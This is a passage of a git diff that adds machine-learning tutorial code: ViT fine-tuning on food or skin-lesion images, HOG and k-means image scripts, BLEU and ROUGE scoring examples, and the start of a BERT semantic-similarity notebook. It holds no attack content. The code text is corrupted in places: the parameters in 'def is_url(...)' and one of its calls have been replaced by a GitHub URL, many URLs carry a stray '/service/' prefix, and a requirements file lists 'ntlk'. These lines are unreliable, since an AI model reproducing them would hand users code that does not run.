"@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + } + } + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} \ No newline at end of file diff --git a/machine-learning/finetuning-vit-image-classification/README.md b/machine-learning/finetuning-vit-image-classification/README.md new file mode 100644 index 00000000..faa5b872 --- /dev/null +++ b/machine-learning/finetuning-vit-image-classification/README.md @@ -0,0 +1 @@ +# [How to Fine Tune ViT for Image Classification using Huggingface Transformers in Python](https://www.thepythoncode.com/article/finetune-vit-for-image-classification-using-transformers-in-python) \ No newline at end of file diff --git a/machine-learning/finetuning-vit-image-classification/finetuning_vit_for_image_classification.py b/machine-learning/finetuning-vit-image-classification/finetuning_vit_for_image_classification.py new file mode 100644 index 00000000..32328a9c --- /dev/null +++ b/machine-learning/finetuning-vit-image-classification/finetuning_vit_for_image_classification.py @@ -0,0 +1,446 @@ +# %% +!pip install transformers evaluate datasets + +# %% +import requests +import torch +from PIL import Image +from transformers import * +from tqdm import tqdm + +device = "cuda" if torch.cuda.is_available() else "cpu" + +# %% +# the model name +model_name = "google/vit-base-patch16-224" +# load the image processor +image_processor = ViTImageProcessor.from_pretrained(model_name) +# loading the pre-trained model +model = ViTForImageClassification.from_pretrained(model_name).to(device) + +# %% +import urllib.parse as parse +import os + +# a function to determine whether a string is a URL or not +def is_url(https://github.com/string): + try: + result = parse.urlparse(string) + return all([result.scheme, result.netloc, result.path]) + except: + return False + +# a function to load an image +def load_image(image_path): + if is_url(https://github.com/image_path): + return Image.open(requests.get(image_path, stream=True).raw) + elif os.path.exists(image_path): + return Image.open(image_path) + +# %% +def get_prediction(model, url_or_path): + # load the image + img = load_image(url_or_path) + # preprocessing the image + pixel_values = image_processor(img, return_tensors="pt")["pixel_values"].to(device) + # perform inference + output = model(pixel_values) + # get the label id and return the class name + return model.config.id2label[int(output.logits.softmax(dim=1).argmax())] + +# %% +get_prediction(model, "http://images.cocodataset.org/test-stuff2017/000000000128.jpg") + +# %% [markdown] +# # Loading our Dataset + +# %% +from datasets import load_dataset + +# download & load the dataset +ds = load_dataset("food101") + +# %% [markdown] +# ## Loading a Custom Dataset using `ImageFolder` +# Run the three below cells to load a custom dataset (that's not in the Hub) using `ImageFolder` + +# %% +import requests +from tqdm import tqdm + +def get_file(url): + response = requests.get(url, stream=True) + total_size = int(response.headers.get('content-length', 0)) + filename = None + content_disposition = response.headers.get('content-disposition') + if content_disposition: + parts = content_disposition.split(';') + for part in parts: + if 'filename' in part: + filename = part.split('=')[1].strip('"') + if not filename: + filename = os.path.basename(url) + block_size = 1024 # 1 Kibibyte + tqdm_bar = tqdm(total=total_size, unit='iB', unit_scale=True) + with open(filename, 'wb') as file: + for data in response.iter_content(block_size): + tqdm_bar.update(len(data)) + file.write(data) + tqdm_bar.close() + print(f"Downloaded {filename} ({total_size} bytes)") + return filename + +# %% +import zipfile +import os + +def download_and_extract_dataset(): + # dataset from https://github.com/udacity/dermatologist-ai + # 5.3GB + train_url = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/train.zip" + # 824.5MB + valid_url = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/valid.zip" + # 5.1GB + test_url = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/test.zip" + for i, download_link in enumerate([valid_url, train_url, test_url]): + data_dir = get_file(download_link) + print("Extracting", download_link) + with zipfile.ZipFile(data_dir, "r") as z: + z.extractall("data") + # remove the temp file + os.remove(data_dir) + +# comment the below line if you already downloaded the dataset +download_and_extract_dataset() + +# %% +from datasets import load_dataset + +# load the custom dataset +ds = load_dataset("imagefolder", data_dir="data") + +# %% [markdown] +# # Exploring the Data + +# %% +ds + +# %% +labels = ds["train"].features["label"] +labels + +# %% +labels.int2str(ds["train"][532]["label"]) + +# %% +import random +import matplotlib.pyplot as plt + +def show_image_grid(dataset, split, grid_size=(4,4)): + # Select random images from the given split + indices = random.sample(range(len(dataset[split])), grid_size[0]*grid_size[1]) + images = [dataset[split][i]["image"] for i in indices] + labels = [dataset[split][i]["label"] for i in indices] + + # Display the images in a grid + fig, axes = plt.subplots(nrows=grid_size[0], ncols=grid_size[1], figsize=(8,8)) + for i, ax in enumerate(axes.flat): + ax.imshow(images[i]) + ax.axis('off') + ax.set_title(ds["train"].features["label"].int2str(labels[i])) + + plt.show() + +# %% +show_image_grid(ds, "train") + +# %% [markdown] +# # Preprocessing the Data + +# %% +def transform(examples): + # convert all images to RGB format, then preprocessing it + # using our image processor + inputs = image_processor([img.convert("RGB") for img in examples["image"]], return_tensors="pt") + # we also shouldn't forget about the labels + inputs["labels"] = examples["label"] + return inputs + +# %% +# use the with_transform() method to apply the transform to the dataset on the fly during training +dataset = ds.with_transform(transform) + +# %% +for item in dataset["train"]: + print(item["pixel_values"].shape) + print(item["labels"]) + break + +# %% +# extract the labels for our dataset +labels = ds["train"].features["label"].names +labels + +# %% +import torch + +def collate_fn(batch): + return { + "pixel_values": torch.stack([x["pixel_values"] for x in batch]), + "labels": torch.tensor([x["labels"] for x in batch]), + } + +# %% [markdown] +# # Defining the Metrics + +# %% +from evaluate import load +import numpy as np + +# load the accuracy and f1 metrics from the evaluate module +accuracy = load("accuracy") +f1 = load("f1") + +def compute_metrics(eval_pred): + # compute the accuracy and f1 scores & return them + accuracy_score = accuracy.compute(predictions=np.argmax(eval_pred.predictions, axis=1), references=eval_pred.label_ids) + f1_score = f1.compute(predictions=np.argmax(eval_pred.predictions, axis=1), references=eval_pred.label_ids, average="macro") + return {**accuracy_score, **f1_score} + +# %% [markdown] +# # Training the Model + +# %% +# load the ViT model +model = ViTForImageClassification.from_pretrained( + model_name, + num_labels=len(labels), + id2label={str(i): c for i, c in enumerate(labels)}, + label2id={c: str(i) for i, c in enumerate(labels)}, + ignore_mismatched_sizes=True, +) + +# %% +from transformers import TrainingArguments + +training_args = TrainingArguments( + output_dir="./vit-base-food", # output directory + # output_dir="./vit-base-skin-cancer", + per_device_train_batch_size=32, # batch size per device during training + evaluation_strategy="steps", # evaluation strategy to adopt during training + num_train_epochs=3, # total number of training epochs + # fp16=True, # use mixed precision + save_steps=1000, # number of update steps before saving checkpoint + eval_steps=1000, # number of update steps before evaluating + logging_steps=1000, # number of update steps before logging + # save_steps=50, + # eval_steps=50, + # logging_steps=50, + save_total_limit=2, # limit the total amount of checkpoints on disk + remove_unused_columns=False, # remove unused columns from the dataset + push_to_hub=False, # do not push the model to the hub + report_to='tensorboard', # report metrics to tensorboard + load_best_model_at_end=True, # load the best model at the end of training +) + + +# %% +from transformers import Trainer + +trainer = Trainer( + model=model, # the instantiated 🤗 Transformers model to be trained + args=training_args, # training arguments, defined above + data_collator=collate_fn, # the data collator that will be used for batching + compute_metrics=compute_metrics, # the metrics function that will be used for evaluation + train_dataset=dataset["train"], # training dataset + eval_dataset=dataset["validation"], # evaluation dataset + tokenizer=image_processor, # the processor that will be used for preprocessing the images +) + +# %% +# start training +trainer.train() + +# %% +# trainer.evaluate(dataset["test"]) +trainer.evaluate() + +# %% +# start tensorboard +# %load_ext tensorboard +%reload_ext tensorboard +%tensorboard --logdir ./vit-base-food/runs + +# %% [markdown] +# ## Alternatively: Training using PyTorch Loop +# Run the two below cells to fine-tune using a regular PyTorch loop if you want. + +# %% +# Training loop +from torch.utils.tensorboard import SummaryWriter +from torch.optim import AdamW +from torch.utils.data import DataLoader + +batch_size = 32 + +train_dataset_loader = DataLoader(dataset["train"], collate_fn=collate_fn, batch_size=batch_size, shuffle=True) +valid_dataset_loader = DataLoader(dataset["validation"], collate_fn=collate_fn, batch_size=batch_size, shuffle=True) + +# define the optimizer +optimizer = AdamW(model.parameters(), lr=1e-5) + +log_dir = "./image-classification/tensorboard" +summary_writer = SummaryWriter(log_dir=log_dir) + +num_epochs = 3 +model = model.to(device) +# print some statistics before training +# number of training steps +n_train_steps = num_epochs * len(train_dataset_loader) +# number of validation steps +n_valid_steps = len(valid_dataset_loader) +# current training step +current_step = 0 +# logging, eval & save steps +save_steps = 1000 + +def compute_metrics(eval_pred): + accuracy_score = accuracy.compute(predictions=eval_pred.predictions, references=eval_pred.label_ids) + f1_score = f1.compute(predictions=eval_pred.predictions, references=eval_pred.label_ids, average="macro") + return {**accuracy_score, **f1_score} + +# %% +for epoch in range(num_epochs): + # set the model to training mode + model.train() + # initialize the training loss + train_loss = 0 + # initialize the progress bar + progress_bar = tqdm(range(current_step, n_train_steps), "Training", dynamic_ncols=True, ncols=80) + for batch in train_dataset_loader: + if (current_step+1) % save_steps == 0: + ### evaluation code ### + # evaluate on the validation set + # if the current step is a multiple of the save steps + print() + print(f"Validation at step {current_step}...") + print() + # set the model to evaluation mode + model.eval() + # initialize our lists that store the predictions and the labels + predictions, labels = [], [] + # initialize the validation loss + valid_loss = 0 + for batch in valid_dataset_loader: + # get the batch + pixel_values = batch["pixel_values"].to(device) + label_ids = batch["labels"].to(device) + # forward pass + outputs = model(pixel_values=pixel_values, labels=label_ids) + # get the loss + loss = outputs.loss + valid_loss += loss.item() + # free the GPU memory + logits = outputs.logits.detach().cpu() + # add the predictions to the list + predictions.extend(logits.argmax(dim=-1).tolist()) + # add the labels to the list + labels.extend(label_ids.tolist()) + # make the EvalPrediction object that the compute_metrics function expects + eval_prediction = EvalPrediction(predictions=predictions, label_ids=labels) + # compute the metrics + metrics = compute_metrics(eval_prediction) + # print the stats + print() + print(f"Epoch: {epoch}, Step: {current_step}, Train Loss: {train_loss / save_steps:.4f}, " + + f"Valid Loss: {valid_loss / n_valid_steps:.4f}, Accuracy: {metrics['accuracy']}, " + + f"F1 Score: {metrics['f1']}") + print() + # log the metrics + summary_writer.add_scalar("valid_loss", valid_loss / n_valid_steps, global_step=current_step) + summary_writer.add_scalar("accuracy", metrics["accuracy"], global_step=current_step) + summary_writer.add_scalar("f1", metrics["f1"], global_step=current_step) + # save the model + model.save_pretrained(f"./vit-base-food/checkpoint-{current_step}") + image_processor.save_pretrained(f"./vit-base-food/checkpoint-{current_step}") + # get the model back to train mode + model.train() + # reset the train and valid loss + train_loss, valid_loss = 0, 0 + ### training code below ### + # get the batch & convert to tensor + pixel_values = batch["pixel_values"].to(device) + labels = batch["labels"].to(device) + # forward pass + outputs = model(pixel_values=pixel_values, labels=labels) + # get the loss + loss = outputs.loss + # backward pass + loss.backward() + # update the weights + optimizer.step() + # zero the gradients + optimizer.zero_grad() + # log the loss + loss_v = loss.item() + train_loss += loss_v + # increment the step + current_step += 1 + progress_bar.update(1) + # log the training loss + summary_writer.add_scalar("train_loss", loss_v, global_step=current_step) + + +# %% [markdown] +# # Performing Inference + +# %% +# load the best model, change the checkpoint number to the best checkpoint +# if the last checkpoint is the best, then ignore this cell +best_checkpoint = 7000 +# best_checkpoint = 150 +model = ViTForImageClassification.from_pretrained(f"./vit-base-food/checkpoint-{best_checkpoint}").to(device) +# model = ViTForImageClassification.from_pretrained(f"./vit-base-skin-cancer/checkpoint-{best_checkpoint}").to(device) + +# %% +get_prediction(model, "https://images.pexels.com/photos/858496/pexels-photo-858496.jpeg?auto=compress&cs=tinysrgb&w=600&lazy=load") + +# %% +def get_prediction_probs(model, url_or_path, num_classes=3): + # load the image + img = load_image(url_or_path) + # preprocessing the image + pixel_values = image_processor(img, return_tensors="pt")["pixel_values"].to(device) + # perform inference + output = model(pixel_values) + # get the top k classes and probabilities + probs, indices = torch.topk(output.logits.softmax(dim=1), k=num_classes) + # get the class labels + id2label = model.config.id2label + classes = [id2label[idx.item()] for idx in indices[0]] + # convert the probabilities to a list + probs = probs.squeeze().tolist() + # create a dictionary with the class names and probabilities + results = dict(zip(classes, probs)) + return results + +# %% +# example 1 +get_prediction_probs(model, "https://images.pexels.com/photos/406152/pexels-photo-406152.jpeg?auto=compress&cs=tinysrgb&w=600") + +# %% +# example 2 +get_prediction_probs(model, "https://images.pexels.com/photos/920220/pexels-photo-920220.jpeg?auto=compress&cs=tinysrgb&w=600") + +# %% +# example 3 +get_prediction_probs(model, "https://images.pexels.com/photos/3338681/pexels-photo-3338681.jpeg?auto=compress&cs=tinysrgb&w=600") + +# %% +# example 4 +get_prediction_probs(model, "https://images.pexels.com/photos/806457/pexels-photo-806457.jpeg?auto=compress&cs=tinysrgb&w=600", num_classes=10) + +# %% +get_prediction_probs(model, "https://images.pexels.com/photos/1624487/pexels-photo-1624487.jpeg?auto=compress&cs=tinysrgb&w=600") + + diff --git a/machine-learning/finetuning-vit-image-classification/requirements.txt b/machine-learning/finetuning-vit-image-classification/requirements.txt new file mode 100644 index 00000000..f39fc918 --- /dev/null +++ b/machine-learning/finetuning-vit-image-classification/requirements.txt @@ -0,0 +1,4 @@ +torch +transformers +evaluate +datasets diff --git a/machine-learning/hog-feature-extraction/hog.ipynb b/machine-learning/hog-feature-extraction/hog.ipynb index 0b6c2852..8158380a 100644 --- a/machine-learning/hog-feature-extraction/hog.ipynb +++ b/machine-learning/hog-feature-extraction/hog.ipynb @@ -69,7 +69,7 @@ "source": [ "#creating hog features\n", "fd, hog_image = hog(resized_img, orientations=9, pixels_per_cell=(8, 8),\n", - " \tcells_per_block=(2, 2), visualize=True, multichannel=True)\n", + " \tcells_per_block=(2, 2), visualize=True, channel_axis=2)\n", "print(fd.shape)\n", "plt.axis(\"off\")\n", "plt.imshow(hog_image, cmap=\"gray\")" @@ -94,4 +94,4 @@ "source": [] } ] -} \ No newline at end of file +} diff --git a/machine-learning/hog-feature-extraction/hog.py b/machine-learning/hog-feature-extraction/hog.py index be7c0fed..1adb2acf 100644 --- a/machine-learning/hog-feature-extraction/hog.py +++ b/machine-learning/hog-feature-extraction/hog.py @@ -19,7 +19,7 @@ #creating hog features fd, hog_image = hog(resized_img, orientations=9, pixels_per_cell=(8, 8), - cells_per_block=(2, 2), visualize=True, multichannel=True) + cells_per_block=(2, 2), visualize=True, channel_axis=-1) print(fd.shape) print(hog_image.shape) plt.axis("off") @@ -28,4 +28,4 @@ # save the images plt.imsave("resized_img.jpg", resized_img) -plt.imsave("hog_image.jpg", hog_image, cmap="gray") \ No newline at end of file +plt.imsave("hog_image.jpg", hog_image, cmap="gray") diff --git a/machine-learning/kmeans-image-segmentation/refactored_kmeans_segmentation.py b/machine-learning/kmeans-image-segmentation/refactored_kmeans_segmentation.py new file mode 100644 index 00000000..639f5307 --- /dev/null +++ b/machine-learning/kmeans-image-segmentation/refactored_kmeans_segmentation.py @@ -0,0 +1,55 @@ +import cv2 +import numpy as np +import matplotlib.pyplot as plt +import sys + +def read_image(file_path): + """Read the image and convert it to RGB.""" + image = cv2.imread(file_path) + return cv2.cvtColor(image, cv2.COLOR_BGR2RGB) + +def preprocess_image(image): + """Reshape the image to a 2D array of pixels and 3 color values (RGB) and convert to float.""" + pixel_values = image.reshape((-1, 3)) + return np.float32(pixel_values) + +def perform_kmeans_clustering(pixel_values, k=3): + """Perform k-means clustering on the pixel values.""" + criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 100, 0.2) + compactness, labels, centers = cv2.kmeans(pixel_values, k, None, criteria, 10, cv2.KMEANS_RANDOM_CENTERS) + return compactness, labels, np.uint8(centers) + +def create_segmented_image(pixel_values, labels, centers): + """Create a segmented image using the cluster centroids.""" + segmented_image = centers[labels.flatten()] + return segmented_image.reshape(image.shape) + +def create_masked_image(image, labels, cluster_to_disable): + """Create a masked image by disabling a specific cluster.""" + masked_image = np.copy(image).reshape((-1, 3)) + masked_image[labels.flatten() == cluster_to_disable] = [0, 0, 0] + return masked_image.reshape(image.shape) + +def display_image(image): + """Display the image using matplotlib.""" + plt.imshow(image) + plt.show() + +if __name__ == "__main__": + image_path = sys.argv[1] + k = int(sys.argv[2]) + # read the image + image = read_image(image_path) + # preprocess the image + pixel_values = preprocess_image(image) + # compactness is the sum of squared distance from each point to their corresponding centers + compactness, labels, centers = perform_kmeans_clustering(pixel_values, k) + # create the segmented image + segmented_image = create_segmented_image(pixel_values, labels, centers) + # display the image + display_image(segmented_image) + # disable only the cluster number 2 (turn the pixel into black) + cluster_to_disable = 2 + # create the masked image + masked_image = create_masked_image(image, labels, cluster_to_disable) + display_image(masked_image) diff --git a/machine-learning/nlp/bleu-score/README.md b/machine-learning/nlp/bleu-score/README.md new file mode 100644 index 00000000..00804391 --- /dev/null +++ b/machine-learning/nlp/bleu-score/README.md @@ -0,0 +1 @@ +# [How to Calculate the BLEU Score in Python](https://www.thepythoncode.com/article/bleu-score-in-python) \ No newline at end of file diff --git a/machine-learning/nlp/bleu-score/bleu_score.py b/machine-learning/nlp/bleu-score/bleu_score.py new file mode 100644 index 00000000..e80cfa11 --- /dev/null +++ b/machine-learning/nlp/bleu-score/bleu_score.py @@ -0,0 +1,33 @@ +# -*- coding: utf-8 -*- +"""BLEU Score.ipynb + +Automatically generated by Colaboratory. + +Original file is located at + https://colab.research.google.com/drive/1dSsETrstp-EEGMX46nc-m_jw00nzkaNZ +""" + +from nltk.translate.bleu_score import sentence_bleu, corpus_bleu + +# Prepare the reference sentences +reference1 = ['I', 'love', 'eating', 'ice', 'cream'] +reference2 = ['I', 'enjoy', 'eating', 'ice', 'cream'] + +# Prepare the candidate sentence +translation = ['I', 'love', 'eating', 'ice', 'cream'] + +# Calculate the BLEU score for a single sentence +bleu_score = sentence_bleu([reference1, reference2], translation) +print("BLEU Score: ", bleu_score) + +# Prepare the reference sentences and candidate sentences for multiple translations +references = [['I', 'love', 'eating', 'ice', 'cream'], ['He', 'enjoys', 'eating', 'cake']] +translations = [['I', 'love', 'eating', 'ice', 'cream'], ['He', 'likes', 'to', 'eat', 'cake']] + +# Create a list of reference lists +references_list = [[ref] for ref in references] + +# Calculate BLEU score for the entire corpus +bleu_score_corpus = corpus_bleu(references_list, translations) +print("Corpus BLEU Score: ", bleu_score_corpus) + diff --git a/machine-learning/nlp/bleu-score/requirements.txt b/machine-learning/nlp/bleu-score/requirements.txt new file mode 100644 index 00000000..13b03ed0 --- /dev/null +++ b/machine-learning/nlp/bleu-score/requirements.txt @@ -0,0 +1 @@ +ntlk \ No newline at end of file diff --git a/machine-learning/nlp/rouge-score/README.md b/machine-learning/nlp/rouge-score/README.md new file mode 100644 index 00000000..21d86a14 --- /dev/null +++ b/machine-learning/nlp/rouge-score/README.md @@ -0,0 +1 @@ +# [How to Calculate ROUGE Score in Python](https://www.thepythoncode.com/article/calculate-rouge-score-in-python) \ No newline at end of file diff --git a/machine-learning/nlp/rouge-score/requirements.txt b/machine-learning/nlp/rouge-score/requirements.txt new file mode 100644 index 00000000..7f26c102 --- /dev/null +++ b/machine-learning/nlp/rouge-score/requirements.txt @@ -0,0 +1 @@ +rouge-score \ No newline at end of file diff --git a/machine-learning/nlp/rouge-score/rouge.py b/machine-learning/nlp/rouge-score/rouge.py new file mode 100644 index 00000000..4b00c4c7 --- /dev/null +++ b/machine-learning/nlp/rouge-score/rouge.py @@ -0,0 +1,22 @@ +from rouge_score import rouge_scorer + +scorer = rouge_scorer.RougeScorer(['rouge1', 'rouge2', 'rougeL'], use_stemmer=True) + +# Single reference +candidate_summary = "the cat was found under the bed" +reference_summary = "the cat was under the bed" +scores = scorer.score(reference_summary, candidate_summary) +for key in scores: + print(f'{key}: {scores[key]}') + +# Multiple references +candidate_summary = "the cat was found under the bed" +reference_summaries = ["the cat was under the bed", "found a cat under the bed"] +scores = {key: [] for key in ['rouge1', 'rouge2', 'rougeL']} +for ref in reference_summaries: + temp_scores = scorer.score(ref, candidate_summary) + for key in temp_scores: + scores[key].append(temp_scores[key]) + +for key in scores: + print(f'{key}:\n{scores[key]}') \ No newline at end of file diff --git a/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.ipynb b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..952a0f75 --- /dev/null +++ b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.ipynb @@ -0,0 +1,1010 @@ +{ + "cells": [ + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "E2Cu87RMWw-P" + }, + "source": [ + "### 1. Install and import the required packages" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "4Px8aik4VaOY" + }, + "outputs": [], + "source": [ + "!pip install transformers sentence-transformers datasets" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "RUsTXFi1bNRI" + }, + "outputs": [], + "source": [ + "from datasets import load_dataset\n", + "from sentence_transformers import SentenceTransformer, models\n", + "from transformers import BertTokenizer\n", + "from transformers import get_linear_schedule_with_warmup\n", + "import torch\n", + "from torch.optim import AdamW\n", + "from torch.utils.data import DataLoader\n", + "from tqdm import tqdm\n", + "import time\n", + "import datetime\n", + "import random\n", + "import numpy as np\n", + "import pandas as pd" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "zMdAdDQbzWmC" + }, + "source": [ + "### 2. Use Google Colab's GPU for training" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "wB7TNNSrziMu", + "outputId": "53715022-a7af-439f-f978-637799295f85" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "There are 1 GPU(s) available.\n", + "We will use the GPU: Tesla T4\n" + ] + } + ], + "source": [ + "if torch.cuda.is_available(): \n", + " device = torch.device(\"cuda\")\n", + " print(f'There are {torch.cuda.device_count()} GPU(s) available.')\n", + " print('We will use the GPU:', torch.cuda.get_device_name(0))\n", + "else:\n", + " print('No GPU available, using the CPU instead.')\n", + " device = torch.device(\"cpu\")" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "kQ1Eel-3W-5b" + }, + "source": [ + "### **3.** Load and preview the Semantic Textual Similarity Benchmark (STSB) dataset" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "mgwlDDjtWM71" + }, + "outputs": [], + "source": [ + "# Load the English version of the STSB dataset\n", + "dataset = load_dataset(\"stsb_multi_mt\", \"en\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "BtUWgi0h_DjR", + "outputId": "bcd36c5b-7a37-4c8c-8bb5-8a46e7ed4d5c" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "DatasetDict({\n", + " train: Dataset({\n", + " features: ['sentence1', 'sentence2', 'similarity_score'],\n", + " num_rows: 5749\n", + " })\n", + " test: Dataset({\n", + " features: ['sentence1', 'sentence2', 'similarity_score'],\n", + " num_rows: 1379\n", + " })\n", + " dev: Dataset({\n", + " features: ['sentence1', 'sentence2', 'similarity_score'],\n", + " num_rows: 1500\n", + " })\n", + "})\n" + ] + } + ], + "source": [ + "print(dataset)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "FEHZl4WeWv6r", + "outputId": "69885fad-1282-48e8-ab5e-29da8c548a85" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "A sample from the STSB dataset's training split:\n", + "{'sentence1': 'A man is slicing potatoes.', 'sentence2': 'A woman is peeling potato.', 'similarity_score': 2.200000047683716}\n" + ] + } + ], + "source": [ + "print(\"A sample from the STSB dataset's training split:\")\n", + "print(dataset['train'][98])" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "OjMKsIuxYv6D" + }, + "source": [ + "### **4.** Define the dataset loader class\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "f2Hc2uwabgJa" + }, + "outputs": [], + "source": [ + "# Instantiate the BERT tokenizer\n", + "# You can use larger variants of the model, here we're using the base model\n", + "tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "uEI1p5-SaM8t" + }, + "outputs": [], + "source": [ + "class STSBDataset(torch.utils.data.Dataset):\n", + "\n", + " def __init__(self, dataset):\n", + "\n", + " # Normalize the similarity scores in the dataset\n", + " similarity_scores = [i['similarity_score'] for i in dataset]\n", + " self.normalized_similarity_scores = [i/5.0 for i in similarity_scores]\n", + " self.first_sentences = [i['sentence1'] for i in dataset]\n", + " self.second_sentences = [i['sentence2'] for i in dataset]\n", + " self.concatenated_sentences = [[str(x), str(y)] for x,y in zip(self.first_sentences, self.second_sentences)]\n", + "\n", + " def __len__(self):\n", + "\n", + " return len(self.concatenated_sentences)\n", + "\n", + " def get_batch_labels(self, idx):\n", + "\n", + " return torch.tensor(self.normalized_similarity_scores[idx])\n", + "\n", + " def get_batch_texts(self, idx):\n", + "\n", + " return tokenizer(self.concatenated_sentences[idx], padding='max_length', max_length=128, truncation=True, return_tensors=\"pt\")\n", + "\n", + " def __getitem__(self, idx):\n", + "\n", + " batch_texts = self.get_batch_texts(idx)\n", + " batch_y = self.get_batch_labels(idx)\n", + "\n", + " return batch_texts, batch_y\n", + "\n", + "\n", + "def collate_fn(texts):\n", + "\n", + " input_ids = texts['input_ids']\n", + " attention_masks = texts['attention_mask']\n", + "\n", + " features = [{'input_ids': input_id, 'attention_mask': attention_mask}\n", + " for input_id, attention_mask in zip(input_ids, attention_masks)]\n", + "\n", + " return features" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "w9ICUkr20JbP" + }, + "source": [ + "### 5. Define the model class based on BERT" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "EgTYEHC8b7kb" + }, + "outputs": [], + "source": [ + "class BertForSTS(torch.nn.Module):\n", + "\n", + " def __init__(self):\n", + "\n", + " super(BertForSTS, self).__init__()\n", + " self.bert = models.Transformer('bert-base-uncased', max_seq_length=128)\n", + " self.pooling_layer = models.Pooling(self.bert.get_word_embedding_dimension())\n", + " self.sts_bert = SentenceTransformer(modules=[self.bert, self.pooling_layer])\n", + "\n", + " def forward(self, input_data):\n", + " output = self.sts_bert(input_data)['sentence_embedding']\n", + " return output" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "yMNCebmb4Hlt" + }, + "outputs": [], + "source": [ + "# Instantiate the model and move it to GPU\n", + "model = BertForSTS()\n", + "model.to(device)" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "IXqIA_D_2nYC" + }, + "source": [ + "### 6. Define the Cosine Similarity loss function" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "ty7Q630Ob96f" + }, + "outputs": [], + "source": [ + "class CosineSimilarityLoss(torch.nn.Module):\n", + "\n", + " def __init__(self, loss_fn=torch.nn.MSELoss(), transform_fn=torch.nn.Identity()):\n", + " super(CosineSimilarityLoss, self).__init__()\n", + " self.loss_fn = loss_fn\n", + " self.transform_fn = transform_fn\n", + " self.cos_similarity = torch.nn.CosineSimilarity(dim=1)\n", + "\n", + " def forward(self, inputs, labels):\n", + " emb_1 = torch.stack([inp[0] for inp in inputs])\n", + " emb_2 = torch.stack([inp[1] for inp in inputs])\n", + " outputs = self.transform_fn(self.cos_similarity(emb_1, emb_2))\n", + " return self.loss_fn(outputs, labels.squeeze())" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "B688H4qY26ZG" + }, + "source": [ + "### 7. Prepare the training and validation data split" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "PrQvEJgC4VeB", + "outputId": "2ce3100a-727a-4909-9481-7d6ff0464c12" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "5,749 training samples\n", + "1,500 validation samples\n" + ] + } + ], + "source": [ + "train_ds = STSBDataset(dataset['train'])\n", + "val_ds = STSBDataset(dataset['dev'])\n", + "\n", + "# Create a 90-10 train-validation split.\n", + "train_size = len(train_ds)\n", + "val_size = len(val_ds)\n", + "\n", + "print('{:>5,} training samples'.format(train_size))\n", + "print('{:>5,} validation samples'.format(val_size))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "eUPorlzExygm" + }, + "outputs": [], + "source": [ + "batch_size = 8\n", + "\n", + "train_dataloader = DataLoader(\n", + " train_ds, # The training samples.\n", + " num_workers = 4,\n", + " batch_size = batch_size, # Use this batch size.\n", + " shuffle=True # Select samples randomly for each batch\n", + " )\n", + "\n", + "validation_dataloader = DataLoader(\n", + " val_ds,\n", + " num_workers = 4,\n", + " batch_size = batch_size # Use the same batch size\n", + " )" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "5avkJtGn2-al" + }, + "source": [ + "### 8. Define the Optimizer and Scheduler" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "lB_HcVbl3EZw" + }, + "outputs": [], + "source": [ + "optimizer = AdamW(model.parameters(),\n", + " lr = 1e-6)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "RVT3cA_-3NPP" + }, + "outputs": [], + "source": [ + "epochs = 8\n", + "\n", + "# Total number of training steps is [number of batches] x [number of epochs]. \n", + "total_steps = len(train_dataloader) * epochs\n", + "\n", + "scheduler = get_linear_schedule_with_warmup(optimizer, \n", + " num_warmup_steps = 0,\n", + " num_training_steps = total_steps)" + ] + }, + { + "attachments": {}, + "cell_type": 